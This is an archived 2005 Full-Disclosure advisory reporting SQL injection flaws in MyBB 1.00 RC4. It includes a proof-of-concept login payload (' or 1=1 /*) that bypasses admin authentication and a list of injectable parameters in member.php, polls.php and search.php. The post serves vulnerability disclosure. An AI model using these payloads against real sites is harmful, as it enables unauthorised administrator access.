full-disclosure - My Bulletin Board RC 4 Vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <42FBF82C.7090804@gmail.com>
Date: Fri Aug 12 09:38:11 2005
From: phuket.bugtraq at gmail.com (phuket)
Subject: My Bulletin Board RC 4 Vulnerabilities

SQL Injection Vulnerabilities in MyBB RC 4 (+Security Patch)

Vendor: MyBB Group
Version: MyBulletinBoard 1.00 RC4+ Security Patch
Risk: High if magic_quotes_gpc = Off
URL: http://www.mybboard.com

**********************************************************************************************

"MyBB is a powerful, efficient and free forum package developed in PHP and

MySQL. MyBB has been designed with the end users in mind, you and your

subscribers. Full control over your discussion system is presented right at

the tip of your fingers, from multiple styles and themes to the ultimate

customisation of your forums using the template system."


*********************************************************************************************

There is one high risk SQL Injection vulnerabilities in MyBB, but to
exploit this issue magic_quotes_gpc must be off.

SQL Injection in /admin/index.php

POC: Username: ' or 1=1 /*
         Password: blank

This issue gives you access to the Admin Control Panel and you are
logged in as the Main Administrator

**********************************************************************************************

More SQL Injections (magic_quotes_gpc=off):

member.php?action=login : username='[SQL INJECTION]
polls.php?action=newpoll&tid=1&polloptions='[SQL INJECTION]
search.php?action='[SQL Injection]
member.php?action='[SQL Injection]
.....
....
.......... (Many Many More...)


*********************************************************************************************


Solution:
The developers were contacted and never responded.
No patch is available.
Turn magic_quotes_gpc ON or do not use this Application




Phuket